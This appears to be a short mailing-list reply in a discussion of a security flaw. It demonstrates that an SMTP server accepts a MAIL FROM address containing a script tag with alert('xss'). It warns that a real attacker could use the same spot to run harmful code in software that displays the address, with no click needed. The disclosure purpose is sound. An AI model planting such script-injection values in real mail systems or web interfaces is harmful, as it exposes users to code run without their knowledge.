@ lbutlr: > On 12/3/16 2:57 PM, Wietse Venema wrote: > > Proof of concept: > > > > MAIL FROM<"<script > > type='text/javascript'>alert('xss');</script>"@example.com> > > That result in "501 5.5.4 Syntax: MAIL FROM:<address>"
OK, so insert a the missing ':' MAIL FROM:"<script type='text/javascript'>alert('xss');</script>"@example.com> 250 2.1.0 Ok Instead of an alert, a real attacker would provide more nefarious code. This code runs without the user even having to click a link. Wietse